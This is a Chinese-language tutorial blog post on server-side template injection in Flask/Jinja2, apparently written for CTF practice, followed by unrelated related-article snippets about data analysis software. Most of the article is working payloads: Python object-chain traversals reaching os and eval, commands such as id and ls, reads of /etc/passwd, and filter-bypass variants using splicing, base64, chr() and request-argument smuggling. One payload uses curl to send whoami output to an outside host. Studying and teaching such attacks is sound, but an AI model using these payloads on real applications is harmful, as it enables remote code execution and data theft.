SSTI入门详解

article/2025/10/10 11:19:35

文章目录

  • 关于基于flask的SSTI漏洞的阶段学习小结:
    • SSTI的理解:
    • SSTI引发的真正原因:
    • render_template渲染函数是什么:
    • render_template:
    • 注入的思想:
    • playload 娓娓道来:
      • 魔术对象:
      • 用魔术对象构造一个简单的语句:
      • 如何调用这些子类:
      • dir()与__dict__:
      • 常见的playload:
    • 常见的命令执行方式:
      • os.system():
      • os.popen():
      • warnings.catchwarning:
      • values:
      • __builtins__内建函数:
    • 绕过:
      • 拼接
      • 编码
      • 过滤中括号[]
      • 过滤引号
      • 过滤双下划线__
      • 过滤{{
    • 在URL执行py命令格式:

关于基于flask的SSTI漏洞的阶段学习小结:

SSTI的理解:

SSTI和SQL注入原理差不多,都是因为对输入的字符串控制不足,把输入的字符串当成命令执行。

SSTI引发的真正原因:

render_template渲染函数的问题

render_template渲染函数是什么:

就是把HTML涉及的页面与用户数据分离开,这样方便展示和管理。当用户输入自己的数据信息,HTML页面可以根据用户自身的信息来展示页面,因此才有了这个函数的使用。

render_template:

渲染函数在渲染的时候,往往对用户输入的变量不做渲染,
即:{{}}在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{{}}包裹的内容当做变量解析替换。比如{{1+1}}会被解析成2。因此才有了现在的模板注入漏洞。往往变量我们使用{{这里是内容}}
真因为{{}}包裹的东西会被解析,因此我们就可以实现类似于SQL注入的漏洞

注入的思想:

用函数不断调用我们要使用的命令如:file、read、open、ls等等命令,我们用这些来读取写入配置文件;

playload 娓娓道来:

魔术对象:

__class__  :返回类型所属的对象
__mro__    :返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__   "返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的__subclasses__  获取当前类的所有子类
__init__  类的初始化方法
__globals__  对包含(保存)函数全局变量的字典的引用

用魔术对象构造一个简单的语句:

我们在里面运行以下:

>>> [].__class__
<class 'list'>
>>> [].__class__.__base__
<class 'object'>
>>> [].__class__.__base__.__subclasses__()>>> [].__class__.__base__.__subclasses__()[2]
<class 'weakcallableproxy'>
>>> 

解读一下:
class返回[]所属的对象;
class+base:返回这个对象所继承的基类
class+base+subclasses:找到了这个对象的基类,那么就返回这个基类下所具有的子类
在这里插入图片描述

这就是一个具有[]的对象继承的基类的所有子类,在这里面我们不乏可以找到我们要用的子类如前文所提到的:file、open等等。
那么既然我们要用SSTI去做些事情,那么我们就要用到这些子类呗。

如何调用这些子类:

>>> [].__class__.__base__.__subclasses__()[2]
<class 'weakcallableproxy'>
>>> [].__class__.__base__.__subclasses__()[3]
<class 'weakproxy'>
>>> [].__class__.__base__.__subclasses__()[40]
<class 'wrapper_descriptor'>

这样我们就可以调用这些子类了
2.
假如我们要去查看某个网页获取flag,那么我们用file函数:(file 在PT2里面还可以使用,在PY3里面已经被移除了)

[].__class__.__base__.__subclasses__()[40]('fl4g').read()

但是如果我们想要去获取目录等等,就需要用到system函数:读取目录一般是ls函数,那么我们来看看如何调用

!/usr/bin/env pythonencoding: utf-8num = 0
for item in ''.__class__.__mro__[2].__subclasses__():try:if 'os' in item.__init__.__globals__:print num,itemnum+=1except:print '-'num+=1

得到类中OS模块的函数(71)

().__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls')
(os.listdir():列出第一层目录文件 
因为71是os库的函数,所以globals是对该函数字典的引用,所以我们这下就拿到了字典,然后紧接着就是我们要使用的命令。)

有时候system函数会被过滤掉,我们就使用

().__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].listdir('.')  #读取本级目录

dir()与__dict__:

dir()是一个函数,返回的是list;
__dict__是一个字典,键为属性名,值为属性值;
dir()返回所有的属性,而__dict__返回的是非父类的键与对应的值。

常见的playload:

获得基类
#python2.7
''.__class__.__mro__[2]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[1]
#python3.7
''.__。。。class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[1]#python 2.7
#文件操作
#找到file类
[].__class__.__bases__[0].__subclasses__()[40]
#读文件
[].__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
#写文件
[].__class__.__bases__[0].__subclasses__()[40]('/tmp').write('test')#命令执行
#os执行
[].__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.linecache下有os类,可以直接执行命令:
[].__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.linecache.os.popen('id').read()
#eval,impoer等全局函数
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__下有eval,__import__等的全局函数,可以利用此来执行命令:
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()#python3.7
#命令执行
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
#文件操作
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
#windows下的os命令
"".__class__.__bases__[0].__subclasses__()[118].__init__.__globals__['popen']('dir').read()

常见的命令执行方式:

os.system():

init__globals[‘os’].system(‘ls’)的输出是执行结果的返回值,而不是执行命令的输出,成功执行返回0,失败返回-1,因为输出结果不明显,所以我们也会用到下面这个命令:

os.popen():

用法:os.popen(command[,mode[,bufsize]])
eg:{{()class.base.subclass__()[71].init.globlas__[‘os’].popen(‘ls’,‘r’).read()}}
说明:mode – 模式权限可以是 ‘r’(默认) 或 ‘w’。
init.globals__[‘os’].popen(‘ls’,‘r’),read()
popen方法通过p.read()获取终端输出,而且popen需要关闭close().当执行成功时,close()不返回任何值,失败时,close()返回系统返回值(失败返回1). 可见它获取返回值的方式和os.system不同。

缺点:Popen非常强大,支持多种参数和模式,通过其构造函数可以看到支持很多参数。但Popen函数存在缺陷在于,它是一个阻塞的方法,如果运行cmd命令时产生内容非常多,函数就容易阻塞。另一点,Popen方法也不会打印出cmd的执行信息

warnings.catchwarning:

访问os模块还有从warnings.catchwarnings模块入手的,而这两个模块分别位于元组中的59,60号元素。__init__方法用于将对象实例化,在这个函数下我们可以通过funcglobals(或者__globals)看该模块下有哪些globals函数(注意返回的是字典),而linecache可用于读取任意一个文件的某一行,而这个函数引用了os模块。

于是还可以挖掘到类似payload(注意payload都不是直接套用的,不同环境请自行测试)


[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('ls')[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].system('ls')

values:

作用:返回字典中的所有值。
使用:

#!/usr/bin/pythondict = {'Name': 'Zara', 'Age': 7}print "Value : %s" %  dict.values()以上实例输出结果为:Value : [7, 'Zara']

__builtins__内建函数:

内建函数就是本身就有的,启动的时候python解释器就会自动解析,内建函数里面包括了许多
在这里插入图片描述内建函数里面有我们需要的eval函数,可以执行命令

'.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()')''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.values()[13]['eval']('__import__("os").popen("ls").read()')这两个payload用的是同一个模块,__builtins__模块,eval方法.[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].popen('ls').read()

但是经常会被ban

绕过:

拼接

object.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')().__class__.__bases__[0].__subclasses__()[40]('r','fla'+'g.txt')).read()

编码


().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('ls').read()")等价于().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['ZXZhbA=='.decode('base64')]("X19pbXBvcnRfXygnb3MnKS5wb3BlbignbHMnKS5yZWFkKCk=".decode('base64'))(可以看出单双引号内的都可以编码)同理还可以进行rot13、16进制编码等

过滤中括号[]

getitem()"".__class__.__mro__[2]
"".__class__.__mro__.__getitem__(2)pop()''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()字典读取__builtins__['eval']()
__builtins__.eval()经过测试这种方法在python解释器里不能执行,但是在测试的题目环境下可以执行

过滤引号

先获取chr函数,赋值给chr,后面拼接字符串{% set
chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr
%}{{
().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read()
}}或者借助request对象:(这种方法在沙盒种不行,在web下才行,因为需要传参){{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read() }}&path=/etc/passwdPS:将其中的request.args改为request.values则利用post的方式进行传参执行命令:{% set
chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr
%}{{
().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(chr(105)%2bchr(100)).read()
}}{{
().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(request.args.cmd).read()
}}&cmd=id

过滤双下划线__


{{
''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read()
}}&class=__class__&mro=__mro__&subclasses=__subclasses__

过滤{{

{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://xx.xxx.xx.xx:8080/?i=`whoami`').read()=='p' %}1{% endif %}

在URL执行py命令格式:

{%这是内容%}

eg:
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='file' %}
{{ c("/etc/passwd").readlines() }}
{% endif %}
{% endfor %}

看到这里如果学有余力,可以看一看SSTI进阶部分 文章


http://chatgpt.dhexx.cn/article/WRhFE9tb.shtml

相关文章

SSTI完全学习

一、什么是SSTI SSTI就是服务器端模板注入(Server-Side Template Injection),也给出了一个注入的概念。 常见的注入有:SQL 注入,XSS 注入,XPATH 注入,XML 注入,代码注入,命令注入等等。sql注入已经出世很多年了,对于sql注入的概念和原理很多人应该是相当清楚了,SSTI…

SSTI简单总结和例题

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 目录 前言 一、SSTI是什么&#xff1f; 二、关于Python的类 1、__class__类 2、__bases__ 3、__subclasses__ 4、还用到过的一些类 三、SSTI漏洞的简单复现 四、CTF…

SSTI模板注入

SSTI模板注入 1.SSTI简介 SSTI 就是服务器端模板注入&#xff08;Server-Side Template Injection&#xff09; ​ 当前使用的一些框架&#xff0c;比如python的flask&#xff0c;php的tp&#xff0c;java的spring等一般都采用成熟的的MVC的模式&#xff0c;用户的输入先进入…

SSTI基础学习

一、什么是SSTI SSTI就是服务器端模板注入(Server-Side Template Injection)&#xff0c;也给出了一个注入的概念。 常见的注入有&#xff1a;SQL 注入&#xff0c;XSS 注入&#xff0c;XPATH 注入&#xff0c;XML 注入&#xff0c;代码注入&#xff0c;命令注入等等。SSTI也是…

SSTI模板注入总结

文章目录 一、初识SSTI二、判断SSTI类型三、常用类1、__class__2、__bases__3、__subclasses__()4、类的知识总结&#xff08;转载)5、常见过滤器&#xff08;转载&#xff09; 四、CTF例题[BJDCTF]The mystery of ip[Bugku]Simple_SSTI_1[Bugku]Simple_SSTI_2 一、初识SSTI 1…

推荐一款数据分析软件DataLab

1月6日&#xff0c;科学数据中心软件栈正式发布数据分析软件DataLab v1.0.0&#xff0c;成为软件栈家族的第8名成员。 DataLab致力于提供领域可定制的科学数据软件分析框架&#xff0c;集成通用的科学数据处理组件和存算环境的一体化管理与调度&#xff0c;各科学数据中心/科研…

做数据分析,软件工具少不了,好用的数据分析软件工具

​大数据属于广泛性的术语&#xff0c;多指庞大而复杂的数据集等&#xff0c;他们需要专门设计的工具来进行处理。这些数据集收集自各种各样的来源&#xff1a;公开的信息等&#xff0c;如杂志&#xff0c;报纸&#xff0c;文章。大数据生成的其他例子包括购买交易记录&#xf…

2020十大最佳大数据分析工具

作者&#xff1a;Sunita Chauhan 转自&#xff1a;InfoQ https://www.infoq.cn/article/IEIa8zX2s0KpLYi34ocE 营销的基本原理是一致的&#xff0c;每个人都喜欢洞察力&#xff0c;因为这些数字模式可以提供最安全的方法来确保企业采取正确的行动&#xff0c;更有效地运作&…

【数据分析】33个热门数据分析软件,你都用过哪些?

最近有一位小伙伴问我&#xff0c;做数据岗该学习哪些软件&#xff0c;我想了想扔给他33个软件 数据分析工具类软件&#xff0c;大体可以分为以下5类&#xff1a; Excel生态工具、数理统计工具、BI工具、数据库工具、编程工具 &#xff08;Excel单独分成一类&#xff0c;主要是…

python数据分析用什么软件

Python是数据处理常用工具&#xff0c;可以处理数量级从几K至几T不等的数据&#xff0c;具有较高的开发效率和可维护性&#xff0c;还具有较强的通用性和跨平台性&#xff0c;这里就为大家分享几个不错的数据分析工具。 Python数据分析需要安装的第三方扩展库有&#xff1a;Num…

4大热门数据分析软件怎么选?看这篇就够了

有时候我们发现&#xff0c;技术和工具并不是核心要素&#xff0c;基于客户需求体验的产品设计和专业工程实施能力才是关键。大部分优秀的数据工具产品&#xff0c;也是胜在对数据的理解和治理的方法论上&#xff0c;赋以相应的工具&#xff0c;让能力加特。 机器学习、人工智…

盘点2021年10个顶级数据分析软件,及优缺点对比

1、Tableau公司 关键见解&#xff1a;即使在市场领导者中&#xff0c;Tableau公司也是数据分析软件市场上的顶级供应商。该公司于2019年被Salesforce公司收购。 该公司的数据分析平台以收集多个数据输入而闻名&#xff0c;允许用户将它们组合在一起&#xff0c;然后提供仪表板…

分析数据的软件有哪些?这几款数据分析软件不用会后悔

数据分析软件种类繁多&#xff0c;使用难度、场景、效率不一。日常的数据分析&#xff0c;Excel就能满足大部分需求&#xff0c;不过在数据量越来越大、维度越来越多、分析越来越复杂的今天&#xff0c;仅靠Excel解决也不现实&#xff0c;不过不用担心&#xff0c;市面上可分析…

六款超好用的大数据分析工具

一、大数据分析工具——Hadoop Hadoop是一个能够对大量数据进行分布式处理的软件框架。但是Hadoop是以一种可靠、高效、可伸缩的方式进行处理的。Hadoop是可靠的&#xff0c;因为它假设计算元素和存储会失败&#xff0c;因此它维护多个工作数据副本&#xff0c;确保能够针对失…

常见的数据分析工具有哪些?

众所周知&#xff0c;大数据是指无法在一定时间范围内用常规软件工具进行捕捉、管理和处理的数据集合。它的含义十分广泛&#xff0c;并庞大复杂&#xff0c;需要有专门设计的硬件和软件工具来进行数据处理和分析。下面给大家推荐几款常见好用的数据分析工具&#xff0c;以供参…

30款常用的大数据分析工具推荐(最新)

数据挖掘和数据分析的能力在当今时代相当重要&#xff0c; 智能的工具是你与竞争对手对抗并为公司业务增加优势的必备条件。我列出了30个最热门的大数据工具&#xff0c;供大家参考。 Part 1:数据采集工具 Part 2:开源数据工具 Part 3:数据可视化 Part 4:情感分析 Part 5:开…

目前流行的数据分析软件有哪些?

企业信息化建设&#xff0c;大量的数据需要经过分析才能挖掘价值。因此数据的价值越来越受到大家的重视&#xff0c;大数据分析软件逐渐成为企业运营必不可少的辅助工具。俗话说工人要想做好事&#xff0c;首先要磨利工具&#xff0c;拥有一个好用的大数据分析软件尤为重要&…

数据太多?3款免费数据分析软件,分分钟解决

本文分享下我在做数据分析时用过的几个简单易上手的数据可视化软件。 先放上目录&#xff1a; 数据统计收集类——简道云数据图表美化类——图表秀数据开发类——Echart 01 简道云 https://www.jiandaoyun.com/ 适用于&#xff1a;想要“简单易上手”适合业务人员&#xff…

数据分析常用五大软件介绍

即刻关注芝诺数据分析&#xff0c;让我们一起成长吧&#xff01; 工欲善其事&#xff0c;必先利其器。说起来道理大家都懂&#xff0c;只是到了要学习的时候就开始各种退缩。殊不知一款好的数据分析工具可以让你事半功倍&#xff0c;瞬间提高学习工作效率。 虽然数据分析的工具…

2023年九款大数据数据分析软件工具推荐

有时候我们发现&#xff0c;技术和工具并不是核心要素&#xff0c;基于客户需求体验的产品设计和专业工程实施能力才是关键。大部分优秀的数据工具产品&#xff0c;也是胜在对数据的理解和治理的方法论上&#xff0c;赋以相应的工具&#xff0c;让能力加特。 机器学习、人工智…